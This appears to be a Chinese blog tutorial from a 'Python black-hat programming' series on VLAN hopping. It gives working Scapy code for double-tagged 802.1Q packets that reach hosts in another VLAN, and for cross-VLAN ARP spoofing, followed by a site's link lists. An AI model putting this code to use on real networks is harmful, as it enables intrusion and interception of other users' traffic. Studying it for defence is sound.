Python黑帽编程 3.4 跨越VLAN详解


Posted in Python onSeptember 28, 2016

VLAN(Virtual Local Area Network),是基于以太网交互技术构建的虚拟网络,既可以将同一物理网络划分成多个VALN,也可以跨越物理网络障碍,将不同子网中的用户划到同一个VLAN中。图2是一个VLAN划分的例子。

Python黑帽编程 3.4 跨越VLAN详解

图2

实现VLAN的方式有很多种,基于交换设备的VLAN划分,一般有两种:

l 基于交换机的端口划分

l 基于IEEE 802.1q协议,扩展以太网帧格式

基于第二层的VLAN技术,有个Trunking的概念,Trunking是用来在不同的交换机之间进行连接,以保证在跨越多个交换机上建立的同一个VLAN的成员能够相互通讯。其中交换机之间互联用的端口就称为Trunk端口。除了80.2.1q之外,思科有自己的Trunk协议叫ISL。

Python黑帽编程 3.4 跨越VLAN详解

图3

图3是802.1q的数据包,和普通的以太网帧并没有本质的区别,只是增加一个了VLAN Tag。红色部分的VLAN Identifier标识了一个数据包属于哪个VLAN,从而保证了数据广播的范围不会跨越VLAN。

现在做简单的思考,想要跨越VLAN通信,是不是只要修改数据包中的标识符就可以了呢?

3.4.1 VLAN Hopping

基于上面的分析,我们考虑一个简单的场景:跨VLANping,从Vlan1的一个主机发送一个ping请求到Vlan2中的一个主机。

在具体编码前,我们还是要先解决VLAN数据包构造的问题,在Scapy中我们使用Dot1Q类来构造图3中的Tag部分。如图4。

Python黑帽编程 3.4 跨越VLAN详解

图4

下面我们可以编写一个跨VLAN的ping请求了。

#!/usr/bin/python 
from scapy.all import * 
packet = Ether(dst="c0:d3:de:ad:be:ef") / \
Dot1Q(vlan=1) / \
Dot1Q(vlan=2) / \
IP(dst="192.168.13.3") / \
ICMP() 
sendp(packet)

上面的代码我们指定了目标主机的MAC和IP地址,添加了两个VLAN标识,第一个是发送数据的主机所在的VLAN,第二个是目标主机所在的VLAN。交换机会移除第一个标识,读到第二个标识的时候,会转发该数据包到目标主机。

3.4.2 跨VLAN的ARP欺骗

3.1、3.2和3.3节我们都在讨论ARP欺骗的问题,由于VLAN限制了广播域,我们之前的代码是无法跨VLAN进行ARP欺骗的。不过要解决这个问题也很简单,只需在我们之前构造的ARP欺骗数据中插入VLAN标识即可。下面这段代码是我们在3.1节构造ARP请求数据包的代码。

def build_req():
if options.target is None:
pkt = Ether(src=mac, dst='ff:ff:ff:ff:ff:ff') / ARP(hwsrc=mac, psrc=args[0], pdst=args[0])
elif options.target:
target_mac = getmacbyip(options.target)
if target_mac is None:
print "[-] Error: Could not resolve targets MAC address"
sys.exit(1)
pkt = Ether(src=mac, dst=target_mac) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target)
return pkt

在构造数据包的部分,我们插入VLAN标识:

pkt = Ether(src=mac, dst=target_mac) /Dot1Q(vlan=our_vlan) / Dot1Q(vlan=target_vlan) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target)

这样就可以实现跨VLAN的ARP欺骗了。

3.4.3 小结

本节主要讲了如何构造欺骗VLAN的数据包,达到跨VLAN数据通信和ARP欺骗的目的。需要注意的是,本文的方法主要针对802.1Q协议,对以端口进行物理隔离的的VLAN没有效果。

以上所述是小编给大家介绍的Python黑帽编程 3.4 跨越VLAN详解,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对三水点靠木网站的支持!

Python 相关文章推荐
写了个监控nginx进程的Python脚本
May 10 Python
Python os模块学习笔记
Jun 21 Python
Django实战之用户认证(用户登录与注销)
Jul 16 Python
Python定时发送消息的脚本:每天跟你女朋友说晚安
Oct 21 Python
python简易实现任意位数的水仙花实例
Nov 13 Python
Python3实现获取图片文字里中文的方法分析
Dec 13 Python
在PyCharm中批量查找及替换的方法
Jan 20 Python
python plotly绘制直方图实例详解
Jul 22 Python
pandas数据拼接的实现示例
Apr 16 Python
如何基于线程池提升request模块效率
Apr 18 Python
Python try except finally资源回收的实现
Jan 25 Python
python内置模块之上下文管理contextlib
Jun 14 Python
python 采集中文乱码问题的完美解决方法
Sep 27 #Python
20招让你的Python飞起来!
Sep 27 #Python
python搭建虚拟环境的步骤详解
Sep 27 #Python
利用python发送和接收邮件
Sep 27 #Python
实现python版本的按任意键继续/退出
Sep 26 #Python
Linux 下 Python 实现按任意键退出的实现方法
Sep 25 #Python
利用Python为iOS10生成图标和截屏
Sep 24 #Python
You might like
php后退一页表单内容保存实现方法
2012/06/17 PHP
php初始化对象和析构函数的简单实例
2014/03/11 PHP
ThinkPHP连接数据库及主从数据库的设置教程
2014/08/22 PHP
PHP匿名函数和use子句用法实例
2016/03/16 PHP
jquery 模拟类搜索框自动完成搜索提示功能(改进)
2010/05/24 Javascript
在IE浏览器中resize事件执行多次的解决方法
2011/07/12 Javascript
js仿百度贴吧验证码特效实例代码
2014/01/16 Javascript
在Linux上用forever实现Node.js项目自启动
2014/07/09 Javascript
浏览器中url存储的JavaScript实现
2015/07/07 Javascript
jQuery实现文件上传进度条特效
2015/08/12 Javascript
jQuery实现导航滚动到指定内容效果完整实例【附demo源码下载】
2016/09/20 Javascript
AngularJS实现DOM元素的显示与隐藏功能
2016/11/22 Javascript
JavaScript简单验证表单空值及邮箱格式的方法
2017/01/20 Javascript
Node.js如何实现注册邮箱激活功能 (常见)
2017/07/23 Javascript
Vue的MVVM实现方法
2017/08/16 Javascript
浅谈Angular路由守卫
2017/08/26 Javascript
React中上传图片到七牛的示例代码
2017/10/10 Javascript
JS手机端touch事件计算滑动距离的方法示例
2017/10/26 Javascript
基于ES6作用域和解构赋值详解
2017/11/03 Javascript
简单了解JavaScript弹窗实现代码
2020/05/07 Javascript
vue 使用async写数字动态加载效果案例
2020/07/18 Javascript
javascript使用canvas实现饼状图效果
2020/09/08 Javascript
11个并不被常用但对开发非常有帮助的Python库
2015/03/31 Python
不管你的Python报什么错,用这个模块就能正常运行
2018/09/14 Python
python django框架中使用FastDFS分布式文件系统的安装方法
2019/06/10 Python
pyqt5 使用cv2 显示图片,摄像头的实例
2019/06/27 Python
Python openpyxl读取单元格字体颜色过程解析
2019/09/03 Python
如何在mac下配置python虚拟环境
2020/07/06 Python
python 如何实现遗传算法
2020/09/22 Python
html5使用Canvas绘图的使用方法
2017/11/21 HTML / CSS
德国足球商店:OUTFITTER
2019/05/06 全球购物
会计电算化专业个人的自我评价
2013/11/24 职场文书
人力资源总监工作说明
2014/03/03 职场文书
2014年财政所工作总结
2014/11/22 职场文书
应届毕业生的自我评价
2019/06/21 职场文书
CSS子盒子水平和垂直居中的五种方法
2022/07/23 HTML / CSS